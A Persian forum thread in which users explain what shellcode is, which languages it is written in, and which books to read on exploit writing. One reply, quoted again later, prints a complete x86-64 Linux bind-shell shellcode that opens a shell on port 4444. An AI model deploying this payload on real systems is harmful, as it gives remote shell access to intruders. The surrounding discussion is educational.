# مهندسی نرم افزار > مباحث مرتبط با مهندسی نرم‌افزار > مهندسی مجدد و معکوس > سوال: زبان برنامه نویسی shell code

## mohamad0098

سلام خدمت اساتید محترم
سوال من این بود از چه زبانی میشه برای نوشتن shell code استفاده کرد ؟ اسمبلی بهتره یا C یا ++C ? چون من در جایی خوندم فقط با زبان C و اسمبلی میشه شل کد نوشت اما در جایی دیگه عنوان شده بود با PHP ، و پایتون هم میشه و اسم اونو شل اسکریپت گذاشته بودن فرق اونها با شل کدی که به زبان اسمبلی و C نوشته شده چیه ؟

----------


## negative2

زبانی که برای نوشتن شلکد مورد استفاده قرار می گیرد، زبان ماشین هست. 

عموماً شلکد | پیلود در کد اکسپلویت (اکسپلویت می تواند به زبان سی، سی پلاس پلاس، پایتون و... نوشته شود) اضافه می شود تا یک کار خاصی را در سیستم انجام بدهد. کد زیر یک شلکد است که پورت 4444 را باز می کند:

"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\  x89\xc7\xb2"
        "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\  x01\x11\x5c"
        "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\  x31\x0f\x05"
        "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\  x31\xf6\x89"
        "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\  xb0\x21\x0f"
        "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\  xc6\xb0\x21"
        "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\  x2f\x73\x68"
        "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\  x57\x48\x89"
        "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"

----------


## mohamad0098

> زبانی که برای نوشتن شلکد مورد استفاده قرار می گیرد، زبان ماشین هست. 
> 
> عموماً شلکد | پیلود در کد اکسپلویت (اکسپلویت می تواند به زبان سی، سی پلاس پلاس، پایتون و... نوشته شود) اضافه می شود تا یک کار خاصی را در سیستم انجام بدهد. کد زیر یک شلکد است که پورت 4444 را باز می کند:
> 
> "\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\  x89\xc7\xb2"
>         "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\  x01\x11\x5c"
>         "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\  x31\x0f\x05"
>         "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\  x31\xf6\x89"
>         "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\  xb0\x21\x0f"
> ...


میشه یه منبعی واسه یادگیری نوشتن اکسپلویت و شل کد معرفی کنید؟ چون بیشتر کتابای برنامه نویسی با مثال های ریاضی و وحسابداری نوشته شدند و کار با فایل های سیستم عامل و ارتباط با شبکه اموزش نمیدن

----------


## negative2

نوشتن اکسپلویت چیزی نیست که به این سادگی ها و خواندن چهار تا کتاب و مقاله بتوانید بر آن تسلط پیدا کنید. 

چند وقت پیش ها دوست عزیزمون آقای کهساری (myfreetime.ir) یک مقاله در این حوزه نوشته بود، که در حوزه امنیت نرم افزار کتاب های فراوانی وجود دارند، مثلا در حوزه اکسپلویت نویسی کتاب Art of Exploitation وجود دارد که اصول نوشتن اکسپلویت برای آسیب پذیری ها رو پوشش می دهد اما برای درک مفاد این کتاب شما باید برنامه نویس خوبی باشید، اسمبلی یاد داشته باشید، دیزاسملی متوجه شوید و...!

به هر حال اگر دانش برنامه نویسی و سیستم عامل و مفاهیم مهندسی نرم افزار و... دارید کتاب Art of Exploitation کتاب خوبی هست، اما درک آن نیازمند دانستن کلی پیش نیاز دیگر می باشد.

----------


## mohamad0098

> نوشتن اکسپلویت چیزی نیست که به این سادگی ها و خواندن چهار تا کتاب و مقاله بتوانید بر آن تسلط پیدا کنید. 
> 
> چند وقت پیش ها دوست عزیزمون آقای کهساری (myfreetime.ir) یک مقاله در این حوزه نوشته بود، که در حوزه امنیت نرم افزار کتاب های فراوانی وجود دارند، مثلا در حوزه اکسپلویت نویسی کتاب Art of Exploitation وجود دارد که اصول نوشتن اکسپلویت برای آسیب پذیری ها رو پوشش می دهد اما برای درک مفاد این کتاب شما باید برنامه نویس خوبی باشید، اسمبلی یاد داشته باشید، دیزاسملی متوجه شوید و...!
> 
> به هر حال اگر دانش برنامه نویسی و سیستم عامل و مفاهیم مهندسی نرم افزار و... دارید کتاب Art of Exploitation کتاب خوبی هست، اما درک آن نیازمند دانستن کلی پیش نیاز دیگر می باشد.


اگه target ما پیدا کردن یک باگ در یک نرم افزار دسکتاپ باشه باید حتما با اسمبلی شلکد اون نرم افزار نوشته بشه اما اگه target یک وبسایت یا سرور باشه برای نوشتن شلکد به اسمبلی نیاز هست ؟

----------


## negative2

> اگه target ما پیدا کردن یک باگ در یک نرم افزار دسکتاپ باشه باید حتما با اسمبلی شلکد اون نرم افزار نوشته بشه اما اگه target یک وبسایت یا سرور باشه برای نوشتن شلکد به اسمبلی نیاز هست ؟


خیر. در مبحث کشف آسیب پذیری ابتدا باید مشخص شه نرم افزار هدف برای چه پلتفرمی نوشته/عملیاتی شده است. هر پلتفرمی approach کشف آسیب پذیری و توسعه اکسپلویت خودش رو داره. ولی در حالت کلی برای برنامه های دستکتاپ (مرورگرها، سامانه عامل و...) شما باید اسمبلی و دیزاسمبلی رو یاد داشته باشید تا بتونید فازینگ انجام بدید و....

----------


## Felony

Hacking: The Art of Exploitation
The Shellcoder's Handbook

----------


## بهروز عباسی

> سلام خدمت اساتید محترم
> سوال من این بود از چه زبانی میشه برای نوشتن shell code استفاده کرد ؟ اسمبلی بهتره یا C یا ++C ? چون من در جایی خوندم فقط با زبان C و اسمبلی میشه شل کد نوشت اما در جایی دیگه عنوان شده بود با PHP ، و پایتون هم میشه و اسم اونو شل اسکریپت گذاشته بودن فرق اونها با شل کدی که به زبان اسمبلی و C نوشته شده چیه ؟


جدای از مفهوم و موارد استفاده Shellcode اینکه چطوری میشه نوشتش خیلی کلیه، و باید مواردی رو مد نظر قرار بدین؛ مثلا: اگه هدف فقط داشتن کدیه به صورت shellcode اجرا بشه شما میتونی با هر زبونی دوست داشتی بنویسی (مثلا همچین toolsهایی https://github.com/NytroRST/ShellcodeCompiler)، ولی در مورد استفاده معمول shellcode ها که exploiting هست شما باید با Assembly کد بزنی- به خاطر محدودیت حجم شل کد که تا جایی که ممکنه کم باشه، نبود کاراکترهای غیر مجاز (مثلا null)-.

این مقاله (The Art of Win32 Shellcoding) مختصر مفیده در مورد shellcode نویسی با asm .


در ضمن این سوال ربطی به این بخش نداره چون دوستان دیگه پاسخ داده بودن حذف نشد، لطفا سوالات رو بخش های مربوطه مطرح کنید.

----------

